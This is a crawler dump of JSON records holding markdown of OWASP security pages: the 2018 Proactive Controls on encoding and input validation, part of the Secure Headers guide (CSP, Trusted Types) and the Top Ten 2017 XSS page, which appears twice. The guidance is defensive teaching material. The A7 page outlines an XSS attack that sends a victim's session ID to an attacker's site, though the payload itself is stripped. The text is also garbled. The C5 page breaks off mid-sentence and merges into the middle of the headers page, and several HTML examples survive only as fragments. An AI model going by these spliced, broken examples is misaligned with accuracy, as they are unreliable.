Security](https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html)\n- [Bobby Tables: A guide to preventing SQL injection](http://bobby-tables.com/)\n- [CIS Database Hardening Standards](https://www.cisecurity.org/cis-benchmarks/)", "znaku_textu": 4636, "slov": 585, "odkazu": 79, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:32", "sha256": "c5e16fda01536e1d25ced431cc570be4acf9f9951f4e91801a92d0e3f982221c", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://bobby-tables.com/", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Database_Security_Cheat_Sheet.html", "https://www.owasp.org/index.php/Mobile_Top_10_2014-M1", "http://bobby-tables.com/", "https://www.cisecurity.org/cis-benchmarks/", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/c4-encode-escape-data/", "titulek": "C4: Encode and Escape Data - OWASP Top 10 Proactive Controls", "h1": "C4: Encode and Escape Data", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/c4-encode-escape-data/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "C4: Encode and Escape Data"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Contextual Output Encoding"}, {"uroven": 4, "text": "Java Encoding Examples"}, {"uroven": 4, "text": ".NET Encoding Examples"}, {"uroven": 4, "text": "PHP Encoding Examples"}, {"uroven": 4, "text": "Zend Framework 2"}, {"uroven": 3, "text": "Other Types of Encoding and Injection Defense"}, {"uroven": 3, "text": "Character Encoding and Canonicalization"}, {"uroven": 2, "text": "Vulnerabilities Prevented"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Tools"}], "markdown": "# C4: Encode and Escape Data\n\nNew Version of the Control Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. You can find information about the same control within the [OWASP Top 10 Proactive Controls 2024](../../2024/) within [C3: Validate all Input & Handle Exceptions](../../2024/the-top-10/c3-validate-input-and-handle-exceptions/)!\n\n## Description\n\n**Encoding** and escaping are defensive techniques meant to stop injection attacks. Encoding (commonly called \"Output Encoding\") involves translating special characters into some different but equivalent form that is no longer dangerous in the target interpreter, for example translating the `<` character into the `<` string when writing to an HTML page. **Escaping** involves adding a special character before the character/string to avoid it being misinterpreted, for example, adding a `\\` character before a `\"` (double quote) character so that it is interpreted as text and not as closing a string.\n\nOutput encoding is best applied **just before** the content is passed to the target interpreter. If this defense is performed too early in the processing of a request then the encoding or escaping may interfere with the use of the content in other parts of the program. For example if you HTML escape content before storing that data in the database and the UI automatically escapes that data a second time then the content will not display properly due to being double escaped.\n\n### Contextual Output Encoding\n\nContextual output encoding is a crucial security programming technique needed to stop XSS. This defense is performed on output, when you're building a user interface, at the last moment before untrusted data is dynamically added to HTML. The type of encoding will depend on the location (or context) in the document where data is being displayed or stored. The different types of encoding that would be used for building secure user interfaces includes HTML Entity Encoding, HTML Attribute Encoding, JavaScript Encoding, and URL Encoding.\n\n#### Java Encoding Examples\n\nFor examples of the OWASP Java Encoder providing contextual output encoding see: [OWASP Java Encoder Project Examples](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project#tab=Use_the_Java_Encoder_Project).\n\n#### .NET Encoding Examples\n\nStarting with .NET 4.5 , the Anti-Cross Site Scripting library is part of the framework, but not enabled by default. You can specify to use AntiXssEncoder from this library as the default encoder for your entire application using the `web.conf` settings. When applied is important to contextual encode your output - that means to use the right function from the AntiXSSEncoder library for the appropriate location of data in document.\n\n#### PHP Encoding Examples\n\n#### Zend Framework 2\n\nIn Zend Framework 2, `Zend\\Escaper` can be used for encoding the output. For contextual encoding examples see [Context-specific escaping with Zend-Escaper](https://framework.zend.com/blog/2017-05-16-zend-escaper.html).\n\n### Other Types of Encoding and Injection Defense\n\nEncoding/Escaping can be used to neutralize content against other forms of injection. For example, it's possible to neutralize certain special meta-characters when adding input to an operating system command. This is called \"OS command escaping\", \"shell escaping\", or similar. This defense can be used to stop \"Command Injection\" vulnerabilities.\n\nThere are other forms of escaping that can be used to stop injection such as XML attribute escaping stopping various forms of XML and XML path injection, as well as LDAP distinguished name escaping that can be used to stop various forms of LDAP injection.\n\n### Character Encoding and Canonicalization\n\nUnicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using [Unicode](https://www.owasp.org/index.php/Unicode_Encoding) to disguise malicious code and permit a variety of attacks. [RFC 2279](https://tools.ietf.org/html/rfc2279) references many ways that text can be encoded.\n\nCanonicalization is a method in which systems convert data into a simple or standard form. Web applications commonly use character canonicalization to ensure all content is of the same character type when stored or displayed.\n\nTo be secure against canonicalization related attacks means an application should be safe when malformed Unicode and other malformed character representations are entered.\n\n## Vulnerabilities Prevented\n\n- [OWASP Top 10 2017 - A1: Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection)\n- [OWASP Top 10 2017 - A7: Cross Site Scripting (XSS)](https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS))\n- [OWASP Mobile_Top_10_2014-M7 Client Side Injection](https://www.owasp.org/index.php/Mobile_Top_10_2014-M7)\n\n## References\n\n- [XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) - General information\n- [OWASP Cheat Sheet: XSS Prevention](https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) - Stopping XSS in your web application\n- [OWASP Cheat Sheet: DOM based XSS Prevention](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet)\n- [OWASP Cheat Sheet: Injection Prevention](https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet)\n\n## Tools\n\n- [OWASP Java Encoder Project](https://www.owasp.org/index.php/OWASP_Java_Encoder_Project)\n- [AntiXssEncoder](https://docs.microsoft.com/en-us/dotnet/api/system.web.security.antixss.antixssencoder?redirectedfrom=MSDN&view=netframework-4.7.2)\n- [Zend\\Escaper](https://framework.zend.com/blog/2017-05-16-zend-escaper.html) - examples of contextual encoding", "znaku_textu": 5601, "slov": 725, "odkazu": 85, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:33", "sha256": "6b13804a59b970cc746f41a20aea5b0df549a60c2acb30c6de33f28290e60b56", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/www-project-proactive-controls/", "https://www.owasp.org/index.php/OWASP_Java_Encoder_Project", "https://framework.zend.com/blog/2017-05-16-zend-escaper.html", "https://www.owasp.org/index.php/Unicode_Encoding", "https://tools.ietf.org/html/rfc2279", "https://www.owasp.org/index.php/Top_10-2017_A1-Injection", "https://www.owasp.org/index.php/Top_10-2017_A7-Cross-Site_Scripting_(XSS)", "https://www.owasp.org/index.php/Mobile_Top_10_2014-M7", "https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)", "https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet", "https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet", "https://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet", "https://docs.microsoft.com/en-us/dotnet/api/system.web.security.antixss.antixssencoder?redirectedfrom=MSDN&view=netframework-4.7.2", "https://www.owasp.org/", "https://creativecommons.org/licenses/by/4.0", "https://github.com/OWASP/owasp-mastg/blob/master/about_cookies.md", "https://squidfunk.github.io/mkdocs-material/", "https://github.com/OWASP/www-project-proactive-controls"]} {"url": "https://owasp.org/www-project-proactive-controls/archive/2018/c5-validate-inputs/", "titulek": "C5: Validate All Inputs - OWASP Top 10 Proactive Controls", "h1": "C5: Validate All Inputs", "popis": "", "klicova_slova": "", "kanonicka": "https://top10proactive.owasp.org/archive/2018/c5-validate-inputs/", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "C5: Validate All Inputs"}, {"uroven": 2, "text": "Description"}, {"uroven": 3, "text": "Syntax and Semantic Validity"}, {"uroven": 3, "text": "Allowlisting vs Denylisting"}, {"uroven": 3, "text": "Client side and Server side Validation"}, {"uroven": 3, "text": "Regular Expressions"}, {"uroven": 4, "text": "Caution: Potential for Denial of Service"}, {"uroven": 4, "text": "Caution: Complexity"}, {"uroven": 3, "text": "Limits of Input Validation"}, {"uroven": 3, "text": "Challenges of Validating Serialized Data"}, {"uroven": 3, "text": "Unexpected User Input (Mass Assignment)"}, {"uroven": 3, "text": "Validating and Sanitizing HTML"}, {"uroven": 3, "text": "Validation Functionality in Libraries and Frameworks"}, {"uroven": 2, "text": "Vulnerabilities Prevented"}, {"uroven": 2, "text": "References"}, {"uroven": 2, "text": "Tools"}], "markdown": "# C5: Validate All Inputs\n\nNew Version of the Control Available!\n\nYou are looking at the legacy 2018 version of the OWASP Top 10 Proactive Controls. You can find information about the same control within the [OWASP Top 10 Proactive Controls 2024](../../2024/) within [C3: Validate all Input & Handle Exceptions](../../2024/the-top-10/c3-validate-input-and-handle-exceptions/)!\n\n## Description\n\nInput validation is a programming technique that ensures only properly formatted data may enter a software system component.\n\n### Syntax and Semantic Validity\n\nAn application should check that data is both *syntactically* and *semantically* valid (in that order) before using it in any way (including displaying it back to the user).\n\n**Syntax validity** means that the data is in the form that is expected. For example, an application may allow a user to select a four-digit \"account ID\" to perform some kind of operation. The application should assume the user is entering a SQL injection payload, and should check that the data entered by the user is exactly four digits in length, and consists only of numbers (in addition to utilizing proper query parametrization).\n\n**Semantic validity** includes only accepting input that is within an acceptable range for the given application functionality and context. For example, a start date must be before an end date when choosing date ranges.\n\n### Allowlisting vs Denylisting\n\nThere are two general approaches to performing input syntax validation, commonly known as allow and deny lists:\n\n- **Denylisting** or **denylist validation** * attempts to check that given data does not contain \"known bad\" content. For example, a web application may block input that contains the exact text ` alert(1) Dominique!\" size=\"40\">
\n```\n\n🔬 Execution into Chromium:\n\nBelow is an example of definition of a **custom Trusted Types policy** leveraging [DOMPurify](https://github.com/cure53/DOMPurify) for the sanitization processing, both used in a function intended to centralize the loading of unsafe content from a remote location:\n\n📋 `Content-Security-Policy` policy specifying **Trusted Types** via `require-trusted-types-for` and `trusted-types` directives.\n\n```\ndefault-src 'self'; form-action 'self'; base-uri 'self'; object-src 'none'; frame-ancestors 'none'; require-trusted-types-for 'script'; trusted-types content_loader dompurify;\n```\n\n🔒 Script defining the **Trusted Types policy** as well as the content loading function (file named `defineContentLoader.js`):\n\n```\n// Made the function globally available let loadContent = null; if (window.trustedTypes && window.trustedTypes.createPolicy) { // Create the policy and leverage DOMPurify to sanitize any HTML content created const contentLoaderTrustedPolicy = trustedTypes.createPolicy(\"content_loader\", { createHTML: (unsafeValue) => { console.info(\"'content_loader' trusted types policy used.\"); return DOMPurify.sanitize(unsafeValue); } // createScript() and createScriptURL() functions implementation are missing here as it is a simple example // See https://developer.mozilla.org/en-US/docs/Web/API/TrustedTypePolicyFactory/createPolicy }); // Create the content loading function using the Trusted Types policy created loadContent = function (apiPath, uiComponent) { fetch(apiPath).then(response => response.text()).then(response => { uiComponent.innerHTML = contentLoaderTrustedPolicy.createHTML(response); }); }; } else { console.warn(\"Trusted types not supported!\"); } \n```\n\n🐞 Script defining the dangerous behavior (file named `dangerousCode.js`):\n\n```\n/*\nThe content of the file \"unsafe.txt\" is:\nHello Dominique!\n*/ loadContent(\"/unsafe.txt\", document.getElementById(\"display\")); \n```\n\n📜 Test HTML page using elements above:\n\n```\n TEST
\n```\n\n🔬 Execution into Chromium:\n\n### References\n\n- [https://www.w3.org/TR/CSP/](https://www.w3.org/TR/CSP/)\n- [https://developer.mozilla.org/en-US/docs/Web/Security/CSP](https://developer.mozilla.org/en-US/docs/Web/Security/CSP)\n- [https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html)\n- [https://scotthelme.co.uk/content-security-policy-an-introduction/](https://scotthelme.co.uk/content-security-policy-an-introduction/)\n- [https://report-uri.io](https://report-uri.io)\n- [https://content-security-policy.com](https://content-security-policy.com)\n- [https://report-uri.com/home/generate](https://report-uri.com/home/generate)\n- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)\n- [https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API)\n- [https://www.w3.org/TR/trusted-types/](https://www.w3.org/TR/trusted-types/)\n- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/require-trusted-types-for](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/require-trusted-types-for)\n- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/trusted-types](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/trusted-types)\n- [https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API#the_default_policy](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API#the_default_policy)\n- [https://eiv.dev/trusted-types/](https://eiv.dev/trusted-types/)\n- [https://caniuse.com/trusted-types](https://caniuse.com/trusted-types)\n- [https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API#injection_sink_interfaces](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API#injection_sink_interfaces)\n\n## X-Permitted-Cross-Domain-Policies\n\nA cross-domain policy file is an XML document that grants a web client, such as Adobe Flash Player or Adobe Acrobat (though not necessarily limited to these), permission to handle data across domains. When clients request content hosted on a particular source domain and that content makes requests directed towards a domain other than its own, the remote domain needs to host a cross-domain policy file that grants access to the source domain, allowing the client to continue the transaction. Normally a meta-policy is declared in the master policy file, but for those who can’t write to the root directory, they can also declare a meta-policy using the `X-Permitted-Cross-Domain-Policies` HTTP response header.\n\n### Values\n\n| Value | Description |\n| --- | --- |\n| `none` | No policy files are allowed anywhere on the target server, including this master policy file. |\n| `master-only` | Only this master policy file is allowed. |\n| `by-content-type` | [HTTP/HTTPS only] Only policy files served with Content-Type: text/x-cross-domain-policy are allowed. |\n| `by-ftp-filename` | [FTP only] Only policy files whose file names are crossdomain.xml (i.e. URLs ending in /crossdomain.xml) are allowed. |\n| `all` | All policy files on this target domain are allowed. |\n\n### Example\n\n```\nX-Permitted-Cross-Domain-Policies: none\n```\n\n### References\n\n- [https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html](https://www.adobe.com/devnet-docs/acrobatetk/tools/AppSec/xdomain.html)\n\n## Referrer-Policy\n\nThe `Referrer-Policy` HTTP header governs which referrer information, sent in the `Referer` header, should be included with requests made.\n\n### Values\n\n| Value | Description |\n| --- | --- |\n| `no-referrer` | The `Referer` header will be omitted entirely. No referrer information is sent along with requests. |\n| `no-referrer-when-downgrade` | This is the user agent’s default behavior if no policy is specified. The origin is sent as referrer to an a-priori as-secure destination (HTTPS → HTTPS), but isn’t sent to a less secure destination (HTTPS → HTTP). |\n| `origin` | Only send the origin of the document as the referrer in all cases. (e.g. the document `https://example.com/page.html` will send the referrer `https://example.com/`.) |\n| `origin-when-cross-origin` | Send a full URL when performing a same-origin request, but only send the origin of the document for other cases. |\n| `same-origin` | A referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. |\n| `strict-origin` | Only send the origin of the document as the referrer to an a-priori as-secure destination (HTTPS → HTTPS), but don’t send it to a less secure destination (HTTPS → HTTP). |\n| `strict-origin-when-cross-origin` | Send a full URL when performing a same-origin request, only send the origin of the document to an a-priori as-secure destination (HTTPS → HTTPS), and send no header to a less secure destination (HTTPS → HTTP). |\n| `unsafe-url` | Send a full URL (stripped from parameters) when performing a same-origin or cross-origin request. |\n\n### Example\n\n```\nReferrer-Policy: no-referrer\n```\n\n### References\n\n- [https://www.w3.org/TR/referrer-policy/](https://www.w3.org/TR/referrer-policy/)\n- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy)\n\n## Clear-Site-Data\n\nThe Clear-Site-Data header clears browsing data associated with the requesting website. It allows web developers to have more control over the data stored locally by a browser for their origins (source [Mozilla MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data)). This header is useful, for example, during a logout process, in order to ensure that all stored content on the client side like cookies, storage and cache are removed.\n\n### Values\n\n| Value | Experimental? | Description |\n| --- | --- | --- |\n| `\"cache\"` | No | Indicates that the server wishes to remove locally cached data for the origin of the response URL. |\n| `\"cookies\"` | No | Indicates that the server wishes to remove all cookies for the origin of the response URL. HTTP authentication credentials are also cleared out. This affects the entire registered domain, including subdomains. |\n| `\"storage\"` | No | Indicates that the server wishes to remove all DOM storage for the origin of the response URL. |\n| `\"executionContexts\"` | Yes | Indicates that the server wishes to reload all browsing contexts for the origin of the response. |\n| `\"prefetchCache\"` | Yes | Indicates that the server wishes to remove all [speculation rules](https://developer.mozilla.org/en-US/docs/Web/API/Speculation_Rules_API) prefetches that are scoped to the referrer origin. |\n| `\"prerenderCache\"` | Yes | Indicates that the server wishes to remove all [speculation rules](https://developer.mozilla.org/en-US/docs/Web/API/Speculation_Rules_API) prerenders that are scoped to the referrer origin. |\n| `\"clientHints\"` | Yes | Indicates that the server wishes to remove all [client hints](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/Client_hints) (requested via [Accept-CH](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Accept-CH)) stored for the origin of the response URL. |\n| `\"*\"` | No | Indicates that the server wishes to clear all types of data for the origin of the response. |\n\n### Example\n\n```\nClear-Site-Data: \"cache\",\"cookies\",\"storage\"\n```\n\n### References\n\n- [https://w3c.github.io/webappsec-clear-site-data/](https://w3c.github.io/webappsec-clear-site-data/)\n- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Clear-Site-Data)\n- [https://www.chromestatus.com/feature/4713262029471744](https://www.chromestatus.com/feature/4713262029471744)\n- [https://github.com/w3c/webappsec-clear-site-data](https://github.com/w3c/webappsec-clear-site-data)\n- [https://github.com/w3c/webappsec-clear-site-data/tree/master/demo](https://github.com/w3c/webappsec-clear-site-data/tree/master/demo)\n\n## Cross-Origin-Resource-Policy\n\nThis response header (also named CORP) allows one to define a policy that lets web sites and applications opt in to protection against certain requests from other origins (such as those issued with elements like `'.`**\n\nThis attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. \n **Note**: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ. | References **OWASP**\n\n* [OWASP Proactive Controls: Encode and Escape Data](/www-project-proactive-controls/v3/en/c4-encode-escape-data)\n\n* [OWASP Proactive Controls: Validate All Inputs](/www-project-proactive-controls/v3/en/c5-validate-inputs)\n\n* [OWASP Application Security Verification Standard: V5](/www-project-application-security-verification-standard)\n\n* [OWASP Testing Guide: Testing for Reflected XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)\n\n* [OWASP Testing Guide: Testing for Stored XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting)\n\n* [OWASP Testing Guide: Testing for DOM XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting)\n\n* [OWASP Cheat Sheet: XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n* [OWASP Cheat Sheet: DOM based XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n* [OWASP Cheat Sheet: XSS Filter Evasion](/www-community//xss-filter-evasion-cheatsheet)\n\n* [OWASP Java Encoder Project](/www-project-java-encoder) ([old wiki](https://wiki.owasp.org/index.php/OWASP_Java_Encoder_Project))\n \n **External**\n\n* [CWE-79: Improper neutralization of user supplied input](https://cwe.mitre.org/data/definitions/79.html)\n\n* [PortSwigger: Client-side template injection](https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection) |\n\n---", "znaku_textu": 5909, "slov": 723, "odkazu": 41, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:09", "sha256": "78b29978fb366bf8ae56778d1be58356332d3e8a08d3fefbd2b1f1d7db9e1498", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html", "https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP", "https://wiki.owasp.org/index.php/OWASP_Java_Encoder_Project", "https://cwe.mitre.org/data/definitions/79.html", "https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS).html", "titulek": "OWASP Top Ten 2017 | A7:2017-Cross-Site Scripting (XSS) | OWASP Foundation", "h1": "A7:2017-Cross-Site Scripting (XSS)", "popis": "A7:2017-Cross-Site Scripting (XSS) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)", "jazyk": "en_US", "robots_meta": "", "og": {"og:description": "A7:2017-Cross-Site Scripting (XSS) on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP Top Ten 2017 | A7:2017-Cross-Site Scripting (XSS) | OWASP Foundation", "og:url": "https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS).html", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A7:2017-Cross-Site Scripting (XSS)"}], "markdown": "OWASP Top Ten 2017\n\n| A7:2017-Cross-Site Scripting (XSS) | Languages: \n \n [en] \n [de](/www-project-top-ten/2017/de/A7_2017-Cross-Site_Scripting_(XSS)) |\n| --- | --- |\n\nThreat Agents / Attack Vectors Security Weakness Impacts App. Specific Exploitability: 3 Prevalence: 3 Detectability: 3 Technical: 2 Business ? Automated tools can detect and exploit all three forms of XSS, and there are freely available exploitation frameworks. XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all applications.\n\nAutomated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. The impact of XSS is moderate for reflected and DOM XSS, and severe for stored XSS, with remote code execution on the victim’s browser, such as stealing credentials, sessions, or delivering malware to the victim.\n\n| Is the Application Vulnerable? There are three forms of XSS, usually targeting users’ browsers:\n\n* **Reflected XSS**: The application or API includes unvalidated and unescaped user input as part of HTML output. A successful attack can allow the attacker to execute arbitrary HTML and JavaScript in the victim’s browser. Typically the user will need to interact with some malicious link that points to an attacker-controlled page, such as malicious watering hole websites, advertisements, or similar.\n\n* **Stored XSS**: The application or API stores unsanitized user input that is viewed at a later time by another user or an administrator. Stored XSS is often considered a high or critical risk.\n\n* **DOM XSS**: JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.\n\nTypical XSS attacks include session stealing, account takeover, MFA bypass, DOM node replacement or defacement (such as trojan login panels), attacks against the user’s browser such as malicious software downloads, key logging, and other client-side attacks. | How to Prevent Preventing XSS requires separation of untrusted data from active browser content. This can be achieved by:\n\n* Using frameworks that automatically escape XSS by design, such as the latest Ruby on Rails, React JS. Learn the limitations of each framework’s XSS protection and appropriately handle the use cases which are not covered.\n\n* Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve Reflected and Stored XSS vulnerabilities. The [OWASP Cheat Sheet ‘XSS Prevention’](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) has details on the required data escaping techniques.\n\n* Applying context-sensitive encoding when modifying the browser document on the client side acts against DOM XSS. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the [OWASP Cheat Sheet ‘DOM based XSS Prevention’](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n\n* Enabling a [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) as a defense-in-depth mitigating control against XSS. It is effective if no other vulnerabilities exist that would allow placing malicious code via local file includes (e.g. path traversal overwrites or vulnerable libraries from permitted content delivery networks). |\n| --- | --- |\n| Example Attack Scenarios **Scenario #1**: The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:\n **`(String) page += \"\";`**\n\nThe attacker modifies the ‘CC’ parameter in the browser to:\n **`'>'.`**\n\nThis attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session. \n **Note**: Attackers can use XSS to defeat any automated Cross-Site Request Forgery (CSRF) defense the application might employ. | References **OWASP**\n\n* [OWASP Proactive Controls: Encode and Escape Data](/www-project-proactive-controls/v3/en/c4-encode-escape-data)\n\n* [OWASP Proactive Controls: Validate All Inputs](/www-project-proactive-controls/v3/en/c5-validate-inputs)\n\n* [OWASP Application Security Verification Standard: V5](/www-project-application-security-verification-standard)\n\n* [OWASP Testing Guide: Testing for Reflected XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting)\n\n* [OWASP Testing Guide: Testing for Stored XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting)\n\n* [OWASP Testing Guide: Testing for DOM XSS](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting)\n\n* [OWASP Cheat Sheet: XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n\n* [OWASP Cheat Sheet: DOM based XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html)\n\n* [OWASP Cheat Sheet: XSS Filter Evasion](/www-community//xss-filter-evasion-cheatsheet)\n\n* [OWASP Java Encoder Project](/www-project-java-encoder) ([old wiki](https://wiki.owasp.org/index.php/OWASP_Java_Encoder_Project))\n \n **External**\n\n* [CWE-79: Improper neutralization of user supplied input](https://cwe.mitre.org/data/definitions/79.html)\n\n* [PortSwigger: Client-side template injection](https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection) |\n\n---", "znaku_textu": 5909, "slov": 723, "odkazu": 41, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS)", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 11:55:23", "sha256": "78b29978fb366bf8ae56778d1be58356332d3e8a08d3fefbd2b1f1d7db9e1498", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/Top10/raw/master/2017/OWASP%20Top%2010-2017%20(en).pdf", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html", "https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP", "https://wiki.owasp.org/index.php/OWASP_Java_Encoder_Project", "https://cwe.mitre.org/data/definitions/79.html", "https://portswigger.net/kb/issues/00200308_clientsidetemplateinjection", "https://owasp.github.io/www-project-top-ten", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL"]} {"url": "https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization.html", "titulek": "OWASP Top Ten 2017 | A8:2017-Insecure 